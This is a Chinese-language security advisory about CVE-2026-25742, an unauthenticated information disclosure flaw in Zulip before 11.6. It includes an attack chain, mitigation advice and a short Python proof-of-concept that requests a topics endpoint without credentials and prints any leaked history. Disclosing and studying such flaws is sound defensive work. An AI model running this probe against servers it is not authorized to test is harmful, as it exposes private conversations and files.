IPBUF安全漏洞报告
English
CVE-2026-25742 CVSS 5.3 中危

CVE-2026-25742 Zulip 信息泄露漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-25742
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Zulip

相关标签

信息泄露Zulip访问控制CWE-200

漏洞概述

Zulip 开源协作工具在 11.6 版本之前存在访问控制缺陷。即便管理员已禁用访客访问功能,源自 Web 公开流的附件文件及特定接口仍可被匿名访问,导致敏感数据持续泄露。

技术细节

该漏洞的核心在于 Zulip 对已禁用访客访问的 Web 公开流资源未实施严格的权限检查。具体而言,当 `enable_spectator_access` 或 `WEB_PUBLIC_STREAMS_ENABLED` 关闭后,系统未能及时撤销对历史公开流附件的匿名访问权限,导致文件 URL 依然有效。此外,API 端点 `/users/me/<stream_id>/topics` 存在权限绕过,允许未认证用户直接查询流的主题历史。攻击者可通过构造特定的 HTTP 请求,直接访问受影响端点,利用服务器未正确校验用户身份状态的逻辑缺陷,从而在无认证的情况下遍历并下载敏感文件或获取历史讨论记录。

攻击链分析

STEP 1
信息收集
攻击者识别目标 Zulip 服务器,确认其版本在 1.4.0 至 11.6 之间。
STEP 2
漏洞探测
攻击者尝试无需认证直接访问 Web 公开流的附件 URL 或 `/users/me/<stream_id>/topics` 接口。
STEP 3
数据窃取
若服务器存在漏洞,攻击者成功获取附件文件内容或流的历史主题记录。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_vulnerability(base_url, stream_id): """ Check if the /users/me/<stream_id>/topics endpoint is accessible anonymously. """ target_url = f"{base_url}/users/me/{stream_id}/topics" try: # Send request without authentication headers response = requests.get(target_url, timeout=10) if response.status_code == 200: print("[+] Vulnerability Confirmed!") print(f"[+] Topic history leaked: {response.text}") elif response.status_code == 401 or response.status_code == 403: print("[-] Access denied. System might be patched.") else: print(f"[?] Unexpected status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target details target_base = "http://localhost:9991" test_stream_id = "1" check_vulnerability(target_base, test_stream_id)

影响范围

Zulip >= 1.4.0, < 11.6

防御指南

临时缓解措施
若无法立即升级,建议管理员通过 WAF 或反向代理规则,拦截对 `/users/me/` 路径及特定附件路径的匿名未授权访问请求,或确保存储桶的访问控制列表(ACL)已正确配置为拒绝公开读取。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表